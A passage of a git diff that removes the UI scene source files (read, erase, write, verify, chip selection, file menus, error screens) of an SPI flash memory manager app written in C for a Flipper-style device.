scene_manager_next_scene(app->scene_manager, SPIMemSceneSuccess); - } else { - scene_manager_next_scene(app->scene_manager, SPIMemSceneStorageError); - } - } else if(event.event == GuiButtonTypeLeft) { - scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, SPIMemSceneSavedFileMenu); - } - } - return success; -} - -void spi_mem_scene_delete_confirm_on_exit(void* context) { - SPIMemApp* app = context; - widget_reset(app->widget); -} diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene_erase.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_erase.c deleted file mode 100644 index 0d3ae66bf..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene_erase.c +++ /dev/null @@ -1,65 +0,0 @@ -#include "../spi_mem_app_i.h" - -static void - spi_mem_scene_erase_widget_callback(GuiButtonType result, InputType type, void* context) { - SPIMemApp* app = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(app->view_dispatcher, result); - } -} - -static void spi_mem_scene_erase_callback(void* context, SPIMemCustomEventWorker event) { - SPIMemApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, event); -} - -void spi_mem_scene_erase_on_enter(void* context) { - SPIMemApp* app = context; - widget_add_button_element( - app->widget, GuiButtonTypeLeft, "Cancel", spi_mem_scene_erase_widget_callback, app); - widget_add_string_element( - app->widget, 64, 15, AlignCenter, AlignBottom, FontPrimary, "Erasing SPI chip"); - widget_add_string_element( - app->widget, 64, 27, AlignCenter, AlignBottom, FontSecondary, "Please be patient"); - notification_message(app->notifications, &sequence_blink_start_magenta); - view_dispatcher_switch_to_view(app->view_dispatcher, SPIMemViewWidget); - spi_mem_worker_start_thread(app->worker); - spi_mem_worker_erase_start(app->chip_info, app->worker, spi_mem_scene_erase_callback, app); -} - -static void spi_mem_scene_erase_set_previous_scene(SPIMemApp* app) { - uint32_t scene = SPIMemSceneStart; - if(app->mode == SPIMemModeWrite) scene = SPIMemSceneSavedFileMenu; - scene_manager_search_and_switch_to_previous_scene(app->scene_manager, scene); -} - -static void spi_mem_scene_erase_set_next_scene(SPIMemApp* app) { - uint32_t scene = SPIMemSceneSuccess; - if(app->mode == SPIMemModeWrite) scene = SPIMemSceneWrite; - scene_manager_next_scene(app->scene_manager, scene); -} - -bool spi_mem_scene_erase_on_event(void* context, SceneManagerEvent event) { - SPIMemApp* app = context; - bool success = false; - if(event.type == SceneManagerEventTypeBack) { - success = true; - spi_mem_scene_erase_set_previous_scene(app); - } else if(event.type == SceneManagerEventTypeCustom) { - success = true; - if(event.event == GuiButtonTypeLeft) { - scene_manager_previous_scene(app->scene_manager); - } else if(event.event == SPIMemCustomEventWorkerDone) { - spi_mem_scene_erase_set_next_scene(app); - } else if(event.event == SPIMemCustomEventWorkerChipFail) { - scene_manager_next_scene(app->scene_manager, SPIMemSceneChipError); - } - } - return success; -} -void spi_mem_scene_erase_on_exit(void* context) { - SPIMemApp* app = context; - spi_mem_worker_stop_thread(app->worker); - notification_message(app->notifications, &sequence_blink_stop); - widget_reset(app->widget); -} diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene_file_info.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_file_info.c deleted file mode 100644 index 687f17f81..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene_file_info.c +++ /dev/null @@ -1,29 +0,0 @@ -#include "../spi_mem_app_i.h" -#include "../spi_mem_files.h" - -void spi_mem_scene_file_info_on_enter(void* context) { - SPIMemApp* app = context; - FuriString* str = furi_string_alloc(); - furi_string_printf(str, "Size: %zu KB", spi_mem_file_get_size(app) / 1024); - widget_add_string_element( - app->widget, 64, 9, AlignCenter, AlignBottom, FontPrimary, "File info"); - widget_add_string_element( - app->widget, 64, 20, AlignCenter, AlignBottom, FontSecondary, furi_string_get_cstr(str)); - furi_string_free(str); - view_dispatcher_switch_to_view(app->view_dispatcher, SPIMemViewWidget); -} - -bool spi_mem_scene_file_info_on_event(void* context, SceneManagerEvent event) { - SPIMemApp* app = context; - bool success = false; - if(event.type == SceneManagerEventTypeBack) { - success = true; - scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, SPIMemSceneSavedFileMenu); - } - return success; -} -void spi_mem_scene_file_info_on_exit(void* context) { - SPIMemApp* app = context; - widget_reset(app->widget); -} diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene_read.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_read.c deleted file mode 100644 index bbf38a303..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene_read.c +++ /dev/null @@ -1,57 +0,0 @@ -#include "../spi_mem_app_i.h" -#include "../spi_mem_files.h" -#include "../lib/spi/spi_mem_chip.h" -#include "../lib/spi/spi_mem_tools.h" - -void spi_mem_scene_read_progress_view_result_callback(void* context) { - SPIMemApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, SPIMemCustomEventViewReadCancel); -} - -static void spi_mem_scene_read_callback(void* context, SPIMemCustomEventWorker event) { - SPIMemApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, event); -} - -void spi_mem_scene_read_on_enter(void* context) { - SPIMemApp* app = context; - spi_mem_view_progress_set_read_callback( - app->view_progress, spi_mem_scene_read_progress_view_result_callback, app); - notification_message(app->notifications, &sequence_blink_start_blue); - spi_mem_view_progress_set_chip_size(app->view_progress, spi_mem_chip_get_size(app->chip_info)); - spi_mem_view_progress_set_block_size( - app->view_progress, spi_mem_tools_get_file_max_block_size(app->chip_info)); - view_dispatcher_switch_to_view(app->view_dispatcher, SPIMemViewProgress); - spi_mem_worker_start_thread(app->worker); - spi_mem_worker_read_start(app->chip_info, app->worker, spi_mem_scene_read_callback, app); -} - -bool spi_mem_scene_read_on_event(void* context, SceneManagerEvent event) { - SPIMemApp* app = context; - UNUSED(app); - bool success = false; - if(event.type == SceneManagerEventTypeBack) { - success = true; - } else if(event.type == SceneManagerEventTypeCustom) { - success = true; - if(event.event == SPIMemCustomEventViewReadCancel) { - scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, SPIMemSceneChipDetect); - } else if(event.event == SPIMemCustomEventWorkerBlockReaded) { - spi_mem_view_progress_inc_progress(app->view_progress); - } else if(event.event == SPIMemCustomEventWorkerDone) { - scene_manager_next_scene(app->scene_manager, SPIMemSceneVerify); - } else if(event.event == SPIMemCustomEventWorkerChipFail) { - scene_manager_next_scene(app->scene_manager, SPIMemSceneChipError); - } else if(event.event == SPIMemCustomEventWorkerFileFail) { - scene_manager_next_scene(app->scene_manager, SPIMemSceneStorageError); - } - } - return success; -} -void spi_mem_scene_read_on_exit(void* context) { - SPIMemApp* app = context; - spi_mem_worker_stop_thread(app->worker); - spi_mem_view_progress_reset(app->view_progress); - notification_message(app->notifications, &sequence_blink_stop); -} diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene_read_filename.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_read_filename.c deleted file mode 100644 index 4b16baa2e..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene_read_filename.c +++ /dev/null @@ -1,46 +0,0 @@ -#include "../spi_mem_app_i.h" -#include "../spi_mem_files.h" - -void spi_mem_scene_read_filename_view_result_callback(void* context) { - SPIMemApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, SPIMemCustomEventTextEditResult); -} - -void spi_mem_scene_read_set_random_filename(SPIMemApp* app) { - if(furi_string_end_with(app->file_path, SPI_MEM_FILE_EXTENSION)) { - size_t filename_start = furi_string_search_rchar(app->file_path, '/'); - furi_string_left(app->file_path, filename_start); - } - set_random_name(app->text_buffer, SPI_MEM_TEXT_BUFFER_SIZE); -} - -void spi_mem_scene_read_filename_on_enter(void* context) { - SPIMemApp* app = context; - spi_mem_scene_read_set_random_filename(app); - text_input_set_header_text(app->text_input, "Name the dump"); - text_input_set_result_callback( - app->text_input, - spi_mem_scene_read_filename_view_result_callback, - app, - app->text_buffer, - SPI_MEM_FILE_NAME_SIZE, - true); - view_dispatcher_switch_to_view(app->view_dispatcher, SPIMemViewTextInput); -} - -bool spi_mem_scene_read_filename_on_event(void* context, SceneManagerEvent event) { - SPIMemApp* app = context; - UNUSED(app); - bool success = false; - if(event.type == SceneManagerEventTypeCustom) { - success = true; - if(event.event == SPIMemCustomEventTextEditResult) { - scene_manager_next_scene(app->scene_manager, SPIMemSceneRead); - } - } - return success; -} -void spi_mem_scene_read_filename_on_exit(void* context) { - SPIMemApp* app = context; - text_input_reset(app->text_input); -} diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene_saved_file_menu.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_saved_file_menu.c deleted file mode 100644 index d5767455e..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene_saved_file_menu.c +++ /dev/null @@ -1,76 +0,0 @@ -#include "../spi_mem_app_i.h" - -typedef enum { - SPIMemSceneSavedFileMenuSubmenuIndexWrite, - SPIMemSceneSavedFileMenuSubmenuIndexCompare, - SPIMemSceneSavedFileMenuSubmenuIndexInfo, - SPIMemSceneSavedFileMenuSubmenuIndexDelete, -} SPIMemSceneSavedFileMenuSubmenuIndex; - -static void spi_mem_scene_saved_file_menu_submenu_callback(void* context, uint32_t index) { - SPIMemApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, index); -} - -void spi_mem_scene_saved_file_menu_on_enter(void* context) { - SPIMemApp* app = context; - submenu_add_item( - app->submenu, - "Write", - SPIMemSceneSavedFileMenuSubmenuIndexWrite, - spi_mem_scene_saved_file_menu_submenu_callback, - app); - submenu_add_item( - app->submenu, - "Compare", - SPIMemSceneSavedFileMenuSubmenuIndexCompare, - spi_mem_scene_saved_file_menu_submenu_callback, - app); - submenu_add_item( - app->submenu, - "Info", - SPIMemSceneSavedFileMenuSubmenuIndexInfo, - spi_mem_scene_saved_file_menu_submenu_callback, - app); - submenu_add_item( - app->submenu, - "Delete", - SPIMemSceneSavedFileMenuSubmenuIndexDelete, - spi_mem_scene_saved_file_menu_submenu_callback, - app); - submenu_set_selected_item( - app->submenu, scene_manager_get_scene_state(app->scene_manager, SPIMemSceneSavedFileMenu)); - view_dispatcher_switch_to_view(app->view_dispatcher, SPIMemViewSubmenu); -} - -bool spi_mem_scene_saved_file_menu_on_event(void* context, SceneManagerEvent event) { - SPIMemApp* app = context; - bool success = false; - if(event.type == SceneManagerEventTypeCustom) { - scene_manager_set_scene_state(app->scene_manager, SPIMemSceneSavedFileMenu, event.event); - if(event.event == SPIMemSceneSavedFileMenuSubmenuIndexWrite) { - app->mode = SPIMemModeWrite; - scene_manager_next_scene(app->scene_manager, SPIMemSceneChipDetect); - success = true; - } - if(event.event == SPIMemSceneSavedFileMenuSubmenuIndexCompare) { - app->mode = SPIMemModeCompare; - scene_manager_next_scene(app->scene_manager, SPIMemSceneChipDetect); - success = true; - } - if(event.event == SPIMemSceneSavedFileMenuSubmenuIndexDelete) { - scene_manager_next_scene(app->scene_manager, SPIMemSceneDeleteConfirm); - success = true; - } - if(event.event == SPIMemSceneSavedFileMenuSubmenuIndexInfo) { - scene_manager_next_scene(app->scene_manager, SPIMemSceneFileInfo); - success = true; - } - } - return success; -} - -void spi_mem_scene_saved_file_menu_on_exit(void* context) { - SPIMemApp* app = context; - submenu_reset(app->submenu); -} diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene_select_file.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_select_file.c deleted file mode 100644 index cb48035b5..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene_select_file.c +++ /dev/null @@ -1,22 +0,0 @@ -#include "../spi_mem_app_i.h" -#include "../spi_mem_files.h" - -void spi_mem_scene_select_file_on_enter(void* context) { - SPIMemApp* app = context; - if(spi_mem_file_select(app)) { - scene_manager_set_scene_state(app->scene_manager, SPIMemSceneSavedFileMenu, 0); - scene_manager_next_scene(app->scene_manager, SPIMemSceneSavedFileMenu); - } else { - scene_manager_search_and_switch_to_previous_scene(app->scene_manager, SPIMemSceneStart); - } -} - -bool spi_mem_scene_select_file_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; -} - -void spi_mem_scene_select_file_on_exit(void* context) { - UNUSED(context); -} diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene_select_model.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_select_model.c deleted file mode 100644 index c39c4a182..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene_select_model.c +++ /dev/null @@ -1,45 +0,0 @@ -#include "../spi_mem_app_i.h" - -static void spi_mem_scene_select_model_submenu_callback(void* context, uint32_t index) { - SPIMemApp* app = context; - spi_mem_chip_copy_chip_info(app->chip_info, *found_chips_get(app->found_chips, index)); - view_dispatcher_send_custom_event(app->view_dispatcher, index); -} - -void spi_mem_scene_select_model_on_enter(void* context) { - SPIMemApp* app = context; - size_t models_on_vendor = 0; - for(size_t index = 0; index < found_chips_size(app->found_chips); index++) { - if(spi_mem_chip_get_vendor_enum(*found_chips_get(app->found_chips, index)) != - app->chip_vendor_enum) - continue; - submenu_add_item( - app->submenu, - spi_mem_chip_get_model_name(*found_chips_get(app->found_chips, index)), - index, - spi_mem_scene_select_model_submenu_callback, - app); - models_on_vendor++; - } - if(models_on_vendor == 1) spi_mem_scene_select_model_submenu_callback(context, 0); - submenu_set_header(app->submenu, "Choose chip model"); - submenu_set_selected_item( - app->submenu, scene_manager_get_scene_state(app->scene_manager, SPIMemSceneSelectVendor)); - view_dispatcher_switch_to_view(app->view_dispatcher, SPIMemViewSubmenu); -} - -bool spi_mem_scene_select_model_on_event(void* context, SceneManagerEvent event) { - SPIMemApp* app = context; - bool success = false; - if(event.type == SceneManagerEventTypeCustom) { - scene_manager_set_scene_state(app->scene_manager, SPIMemSceneSelectVendor, event.event); - scene_manager_next_scene(app->scene_manager, SPIMemSceneChipDetected); - success = true; - } - return success; -} - -void spi_mem_scene_select_model_on_exit(void* context) { - SPIMemApp* app = context; - submenu_reset(app->submenu); -} diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene_select_vendor.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_select_vendor.c deleted file mode 100644 index c7f736f88..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene_select_vendor.c +++ /dev/null @@ -1,70 +0,0 @@ -#include "../spi_mem_app_i.h" -#include -#include - -ARRAY_DEF(vendors, uint32_t) -ALGO_DEF(vendors, ARRAY_OPLIST(vendors)) - -static void spi_mem_scene_select_vendor_submenu_callback(void* context, uint32_t index) { - SPIMemApp* app = context; - app->chip_vendor_enum = index; - view_dispatcher_send_custom_event(app->view_dispatcher, index); -} - -static void spi_mem_scene_select_vendor_sort_vendors(SPIMemApp* app, vendors_t vendors_arr) { - for(size_t index = 0; index < found_chips_size(app->found_chips); index++) { - vendors_push_back( - vendors_arr, spi_mem_chip_get_vendor_enum(*found_chips_get(app->found_chips, index))); - } - vendors_uniq(vendors_arr); -} - -void spi_mem_scene_select_vendor_on_enter(void* context) { - SPIMemApp* app = context; - vendors_t vendors_arr; - vendors_init(vendors_arr); - spi_mem_scene_select_vendor_sort_vendors(app, vendors_arr); - size_t vendors_arr_size = vendors_size(vendors_arr); - if(vendors_arr_size == 1) - spi_mem_scene_select_vendor_submenu_callback(context, *vendors_get(vendors_arr, 0)); - for(size_t index = 0; index < vendors_arr_size; index++) { - uint32_t vendor_enum = *vendors_get(vendors_arr, index); - submenu_add_item( - app->submenu, - spi_mem_chip_get_vendor_name_by_enum(vendor_enum), - vendor_enum, - spi_mem_scene_select_vendor_submenu_callback, - app); - } - vendors_clear(vendors_arr); - submenu_set_header(app->submenu, "Choose chip vendor"); - submenu_set_selected_item( - app->submenu, scene_manager_get_scene_state(app->scene_manager, SPIMemSceneSelectVendor)); - view_dispatcher_switch_to_view(app->view_dispatcher, SPIMemViewSubmenu); -} - -static void spi_mem_scene_select_vendor_set_previous_scene(SPIMemApp* app) { - uint32_t scene = SPIMemSceneStart; - if(app->mode == SPIMemModeCompare || app->mode == SPIMemModeWrite) - scene = SPIMemSceneSavedFileMenu; - scene_manager_search_and_switch_to_previous_scene(app->scene_manager, scene); -} - -bool spi_mem_scene_select_vendor_on_event(void* context, SceneManagerEvent event) { - SPIMemApp* app = context; - bool success = false; - if(event.type == SceneManagerEventTypeBack) { - success = true; - spi_mem_scene_select_vendor_set_previous_scene(app); - } else if(event.type == SceneManagerEventTypeCustom) { - scene_manager_set_scene_state(app->scene_manager, SPIMemSceneSelectVendor, event.event); - scene_manager_next_scene(app->scene_manager, SPIMemSceneSelectModel); - success = true; - } - return success; -} - -void spi_mem_scene_select_vendor_on_exit(void* context) { - SPIMemApp* app = context; - submenu_reset(app->submenu); -} diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene_start.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_start.c deleted file mode 100644 index 38d064a4d..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene_start.c +++ /dev/null @@ -1,84 +0,0 @@ -#include "../spi_mem_app_i.h" - -typedef enum { - SPIMemSceneStartSubmenuIndexRead, - SPIMemSceneStartSubmenuIndexSaved, - SPIMemSceneStartSubmenuIndexErase, - SPIMemSceneStartSubmenuIndexWiring, - SPIMemSceneStartSubmenuIndexAbout -} SPIMemSceneStartSubmenuIndex; - -static void spi_mem_scene_start_submenu_callback(void* context, uint32_t index) { - SPIMemApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, index); -} - -void spi_mem_scene_start_on_enter(void* context) { - SPIMemApp* app = context; - submenu_add_item( - app->submenu, - "Read", - SPIMemSceneStartSubmenuIndexRead, - spi_mem_scene_start_submenu_callback, - app); - submenu_add_item( - app->submenu, - "Saved", - SPIMemSceneStartSubmenuIndexSaved, - spi_mem_scene_start_submenu_callback, - app); - submenu_add_item( - app->submenu, - "Erase", - SPIMemSceneStartSubmenuIndexErase, - spi_mem_scene_start_submenu_callback, - app); - submenu_add_item( - app->submenu, - "Wiring", - SPIMemSceneStartSubmenuIndexWiring, - spi_mem_scene_start_submenu_callback, - app); - submenu_add_item( - app->submenu, - "About", - SPIMemSceneStartSubmenuIndexAbout, - spi_mem_scene_start_submenu_callback, - app); - submenu_set_selected_item( - app->submenu, scene_manager_get_scene_state(app->scene_manager, SPIMemSceneStart)); - view_dispatcher_switch_to_view(app->view_dispatcher, SPIMemViewSubmenu); -} - -bool spi_mem_scene_start_on_event(void* context, SceneManagerEvent event) { - SPIMemApp* app = context; - bool success = false; - if(event.type == SceneManagerEventTypeCustom) { - scene_manager_set_scene_state(app->scene_manager, SPIMemSceneStart, event.event); - if(event.event == SPIMemSceneStartSubmenuIndexRead) { - app->mode = SPIMemModeRead; - scene_manager_next_scene(app->scene_manager, SPIMemSceneChipDetect); - success = true; - } else if(event.event == SPIMemSceneStartSubmenuIndexSaved) { - furi_string_set(app->file_path, STORAGE_APP_DATA_PATH_PREFIX); - scene_manager_next_scene(app->scene_manager, SPIMemSceneSelectFile); - success = true; - } else if(event.event == SPIMemSceneStartSubmenuIndexErase) { - app->mode = SPIMemModeErase; - scene_manager_next_scene(app->scene_manager, SPIMemSceneChipDetect); - success = true; - } else if(event.event == SPIMemSceneStartSubmenuIndexWiring) { - scene_manager_next_scene(app->scene_manager, SPIMemSceneWiring); - success = true; - } else if(event.event == SPIMemSceneStartSubmenuIndexAbout) { - scene_manager_next_scene(app->scene_manager, SPIMemSceneAbout); - success = true; - } - } - return success; -} - -void spi_mem_scene_start_on_exit(void* context) { - SPIMemApp* app = context; - submenu_reset(app->submenu); -} diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene_storage_error.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_storage_error.c deleted file mode 100644 index d5e289e24..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene_storage_error.c +++ /dev/null @@ -1,56 +0,0 @@ -#include "../spi_mem_app_i.h" - -static void spi_mem_scene_storage_error_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - SPIMemApp* app = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(app->view_dispatcher, result); - } -} - -void spi_mem_scene_storage_error_on_enter(void* context) { - SPIMemApp* app = context; - widget_add_button_element( - app->widget, GuiButtonTypeLeft, "Back", spi_mem_scene_storage_error_widget_callback, app); - widget_add_string_element( - app->widget, 85, 15, AlignCenter, AlignBottom, FontPrimary, "Storage error"); - widget_add_string_multiline_element( - app->widget, - 85, - 52, - AlignCenter, - AlignBottom, - FontSecondary, - "Error while\nworking with\nfilesystem"); - widget_add_icon_element(app->widget, 5, 6, &I_SDQuestion_35x43); - view_dispatcher_switch_to_view(app->view_dispatcher, SPIMemViewWidget); -} - -static void spi_mem_scene_storage_error_set_previous_scene(SPIMemApp* app) { - uint32_t scene = SPIMemSceneChipDetect; - if(app->mode == SPIMemModeRead) scene = SPIMemSceneStart; - if(app->mode == SPIMemModeErase) scene = SPIMemSceneStart; - if(app->mode == SPIMemModeDelete) scene = SPIMemSceneStart; - scene_manager_search_and_switch_to_previous_scene(app->scene_manager, scene); -} - -bool spi_mem_scene_storage_error_on_event(void* context, SceneManagerEvent event) { - SPIMemApp* app = context; - bool success = false; - if(event.type == SceneManagerEventTypeBack) { - success = true; - spi_mem_scene_storage_error_set_previous_scene(app); - } else if(event.type == SceneManagerEventTypeCustom) { - success = true; - if(event.event == GuiButtonTypeLeft) { - spi_mem_scene_storage_error_set_previous_scene(app); - } - } - return success; -} -void spi_mem_scene_storage_error_on_exit(void* context) { - SPIMemApp* app = context; - widget_reset(app->widget); -} diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene_success.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_success.c deleted file mode 100644 index 39039466f..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene_success.c +++ /dev/null @@ -1,40 +0,0 @@ -#include "../spi_mem_app_i.h" - -static void spi_mem_scene_success_popup_callback(void* context) { - SPIMemApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, SPIMemCustomEventPopupBack); -} - -void spi_mem_scene_success_on_enter(void* context) { - SPIMemApp* app = context; - popup_set_icon(app->popup, 32, 5, &I_DolphinNice_96x59); - popup_set_header(app->popup, "Success!", 5, 7, AlignLeft, AlignTop); - popup_set_callback(app->popup, spi_mem_scene_success_popup_callback); - popup_set_context(app->popup, app); - popup_set_timeout(app->popup, 1500); - popup_enable_timeout(app->popup); - view_dispatcher_switch_to_view(app->view_dispatcher, SPIMemViewPopup); -} - -static void spi_mem_scene_success_set_previous_scene(SPIMemApp* app) { - uint32_t scene = SPIMemSceneSelectFile; - if(app->mode == SPIMemModeErase) scene = SPIMemSceneStart; - scene_manager_search_and_switch_to_another_scene(app->scene_manager, scene); -} - -bool spi_mem_scene_success_on_event(void* context, SceneManagerEvent event) { - SPIMemApp* app = context; - bool success = false; - if(event.type == SceneManagerEventTypeCustom) { - success = true; - if(event.event == SPIMemCustomEventPopupBack) { - spi_mem_scene_success_set_previous_scene(app); - } - } - return success; -} - -void spi_mem_scene_success_on_exit(void* context) { - SPIMemApp* app = context; - popup_reset(app->popup); -} diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene_verify.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_verify.c deleted file mode 100644 index 08a8d1057..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene_verify.c +++ /dev/null @@ -1,59 +0,0 @@ -#include "../spi_mem_app_i.h" -#include "../spi_mem_files.h" -#include "../lib/spi/spi_mem_chip.h" -#include "../lib/spi/spi_mem_tools.h" - -void spi_mem_scene_verify_view_result_callback(void* context) { - SPIMemApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, SPIMemCustomEventViewVerifySkip); -} - -static void spi_mem_scene_verify_callback(void* context, SPIMemCustomEventWorker event) { - SPIMemApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, event); -} - -void spi_mem_scene_verify_on_enter(void* context) { - SPIMemApp* app = context; - spi_mem_view_progress_set_verify_callback( - app->view_progress, spi_mem_scene_verify_view_result_callback, app); - notification_message(app->notifications, &sequence_blink_start_cyan); - spi_mem_view_progress_set_chip_size(app->view_progress, spi_mem_chip_get_size(app->chip_info)); - spi_mem_view_progress_set_file_size(app->view_progress, spi_mem_file_get_size(app)); - spi_mem_view_progress_set_block_size( - app->view_progress, spi_mem_tools_get_file_max_block_size(app->chip_info)); - view_dispatcher_switch_to_view(app->view_dispatcher, SPIMemViewProgress); - spi_mem_worker_start_thread(app->worker); - spi_mem_worker_verify_start(app->chip_info, app->worker, spi_mem_scene_verify_callback, app); -} - -bool spi_mem_scene_verify_on_event(void* context, SceneManagerEvent event) { - SPIMemApp* app = context; - UNUSED(app); - bool success = false; - if(event.type == SceneManagerEventTypeBack) { - success = true; - } else if(event.type == SceneManagerEventTypeCustom) { - success = true; - if(event.event == SPIMemCustomEventViewVerifySkip) { - scene_manager_next_scene(app->scene_manager, SPIMemSceneSuccess); - } else if(event.event == SPIMemCustomEventWorkerBlockReaded) { - spi_mem_view_progress_inc_progress(app->view_progress); - } else if(event.event == SPIMemCustomEventWorkerChipFail) { - scene_manager_next_scene(app->scene_manager, SPIMemSceneChipError); - } else if(event.event == SPIMemCustomEventWorkerFileFail) { - scene_manager_next_scene(app->scene_manager, SPIMemSceneStorageError); - } else if(event.event == SPIMemCustomEventWorkerDone) { - scene_manager_next_scene(app->scene_manager, SPIMemSceneSuccess); - } else if(event.event == SPIMemCustomEventWorkerVerifyFail) { - scene_manager_next_scene(app->scene_manager, SPIMemSceneVerifyError); - } - } - return success; -} -void spi_mem_scene_verify_on_exit(void* context) { - SPIMemApp* app = context; - spi_mem_worker_stop_thread(app->worker); - spi_mem_view_progress_reset(app->view_progress); - notification_message(app->notifications, &sequence_blink_stop); -} diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene_verify_error.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_verify_error.c deleted file mode 100644 index fbe954fa6..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene_verify_error.c +++ /dev/null @@ -1,43 +0,0 @@ -#include "../spi_mem_app_i.h" - -static void spi_mem_scene_verify_error_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - SPIMemApp* app = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(app->view_dispatcher, result); - } -} - -void spi_mem_scene_verify_error_on_enter(void* context) { - SPIMemApp* app = context; - widget_add_button_element( - app->widget, GuiButtonTypeLeft, "Back", spi_mem_scene_verify_error_widget_callback, app); - widget_add_string_element( - app->widget, 64, 9, AlignCenter, AlignBottom, FontPrimary, "Verification error"); - widget_add_string_element( - app->widget, 64, 21, AlignCenter, AlignBottom, FontSecondary, "Data mismatch"); - view_dispatcher_switch_to_view(app->view_dispatcher, SPIMemViewWidget); -} - -bool spi_mem_scene_verify_error_on_event(void* context, SceneManagerEvent event) { - SPIMemApp* app = context; - bool success = false; - if(event.type == SceneManagerEventTypeBack) { - success = true; - scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, SPIMemSceneChipDetect); - } else if(event.type == SceneManagerEventTypeCustom) { - success = true; - if(event.event == GuiButtonTypeLeft) { - scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, SPIMemSceneChipDetect); - } - } - return success; -} -void spi_mem_scene_verify_error_on_exit(void* context) { - SPIMemApp* app = context; - widget_reset(app->widget); -} diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene_wiring.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_wiring.c deleted file mode 100644 index 22036f4bc..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene_wiring.c +++ /dev/null @@ -1,18 +0,0 @@ -#include "../spi_mem_app_i.h" -#include "../lib/spi/spi_mem_chip.h" - -void spi_mem_scene_wiring_on_enter(void* context) { - SPIMemApp* app = context; - widget_add_icon_element(app->widget, 0, 0, &I_Wiring_SPI_128x64); - view_dispatcher_switch_to_view(app->view_dispatcher, SPIMemViewWidget); -} - -bool spi_mem_scene_wiring_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; -} -void spi_mem_scene_wiring_on_exit(void* context) { - SPIMemApp* app = context; - widget_reset(app->widget); -} diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene_write.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_write.c deleted file mode 100644 index dfa384fbb..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene_write.c +++ /dev/null @@ -1,58 +0,0 @@ -#include "../spi_mem_app_i.h" -#include "../spi_mem_files.h" -#include "../lib/spi/spi_mem_chip.h" -#include "../lib/spi/spi_mem_tools.h" - -void spi_mem_scene_write_progress_view_result_callback(void* context) { - SPIMemApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, SPIMemCustomEventViewReadCancel); -} - -static void spi_mem_scene_write_callback(void* context, SPIMemCustomEventWorker event) { - SPIMemApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, event); -} - -void spi_mem_scene_write_on_enter(void* context) { - SPIMemApp* app = context; - spi_mem_view_progress_set_write_callback( - app->view_progress, spi_mem_scene_write_progress_view_result_callback, app); - notification_message(app->notifications, &sequence_blink_start_cyan); - spi_mem_view_progress_set_chip_size(app->view_progress, spi_mem_chip_get_size(app->chip_info)); - spi_mem_view_progress_set_file_size(app->view_progress, spi_mem_file_get_size(app)); - spi_mem_view_progress_set_block_size( - app->view_progress, spi_mem_tools_get_file_max_block_size(app->chip_info)); - view_dispatcher_switch_to_view(app->view_dispatcher, SPIMemViewProgress); - spi_mem_worker_start_thread(app->worker); - spi_mem_worker_write_start(app->chip_info, app->worker, spi_mem_scene_write_callback, app); -} - 